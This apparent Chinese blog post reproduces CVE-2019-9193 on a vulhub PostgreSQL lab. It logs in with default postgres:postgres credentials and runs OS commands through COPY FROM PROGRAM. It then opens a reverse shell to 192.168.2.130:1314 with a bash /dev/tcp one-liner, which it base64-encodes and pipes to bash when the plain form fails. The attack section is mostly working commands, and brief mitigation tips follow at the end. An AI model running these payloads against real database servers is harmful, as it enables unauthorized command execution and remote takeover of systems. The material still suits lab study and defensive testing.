• 【CVE】CVE-2019-9193:PostgreSQL 任意命令执行漏洞


    • 起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

    一、靶场环境

    使用的是 github 上的 vulhub 环境。PostgreSQL 版本为 10.7


    请添加图片描述

    1、任意命令执行

    具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

    • 从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。

    漏洞利用前提:

    1. 需要登陆;
    2. 需要高权限;

    所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

    新建数据库用户:CREATE USER
    新建数据库:CREATE DATABASE
    删除数据库:DROP DATABASE
    删除用户:DROP USER
    撤销权限:REVOKE
    赋权:GRANT
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2、影响版本

    受影响的版本(貌似更新版本无解)

    • PostgreSQL >= 9.3

    二、漏洞利用

    1、启动靶机

    docker-compose up -d
    
    • 1

    请添加图片描述

    注:当测试完成之后会用到 关闭靶机 的命令。不是现在就要使用的命令。

    docker-compose down -v
    
    • 1

    2、Navicat 连接 PostgreSQL

    账号密码:postgres:postgres

    请添加图片描述


    3、执行命令

    右键 public,点击 新建查询


    请添加图片描述


    然后就是执行下面的这些命令。

    -- 先删除你想要使用但是已经存在的表
    DROP TABLE IF EXISTS cmd_exec;
    
    -- 创建保存系统命令输出的表
    CREATE TABLE cmd_exec(cmd_output text);
    
    -- 执行系统命令利用特定函数
    COPY cmd_exec FROM PROGRAM 'id'; 
    
    -- 查看执行结果
    SELECT * FROM cmd_exec;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    请添加图片描述


    4、实战拓展:反弹 shell

    1、nc 监听

    在 kali 中使用 nc 进行监听。

    nc -lvvp 1314
    
    • 1

    请添加图片描述


    2、执行反弹 shell 的命令

    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
    SELECT * FROM cmd_exec;
    
    • 1
    • 2
    • 3
    • 4

    但是可以看出执行失败了,这种方法不行。


    请添加图片描述


    3、反弹失败

    kali 也没有得到 shell。


    请添加图片描述


    4、编码解决

    将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

    # base64 编码前
    /bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1
    
    # base64 编码后
    L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==
    
    • 1
    • 2
    • 3
    • 4
    • 5

    请添加图片描述


    5、再次执行反弹 shell 的命令

    这里的编码不仅仅限于 base64,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
    SELECT * FROM cmd_exec;
    
    • 1
    • 2
    • 3
    • 4

    请添加图片描述


    6、反弹成功


    请添加图片描述


    三、漏洞修复

    1. pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
    2. 增强密码的复杂度;
    3. 进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

    如果对您有帮助,点个赞再走呗。

  • 相关阅读:
    Revit建模如何一键“生成场地和基础垫层”
    adb shell命令
    【云原生 | Kubernetes 系列】---Prometheus Blackbox_exporter监控
    使用Docker中部署GitLab 避坑指南
    园区高效管理的“神器”--快鲸智慧园区管理系统
    学生Dreamweaver静态网页设计 基于HTML+CSS+JavaScript制作简食餐厅美食网站制作
    Spring5学习笔记之整合MyBatis
    SpringBoot+Vue 整合websocket实现简单聊天窗口
    SQL Server,MySql 按照指定的字段内容里的字符进行排序
    使用ansible统一管理修改Linux和Windows管理员密码
  • 原文地址:https://blog.csdn.net/qq_43427482/article/details/126093316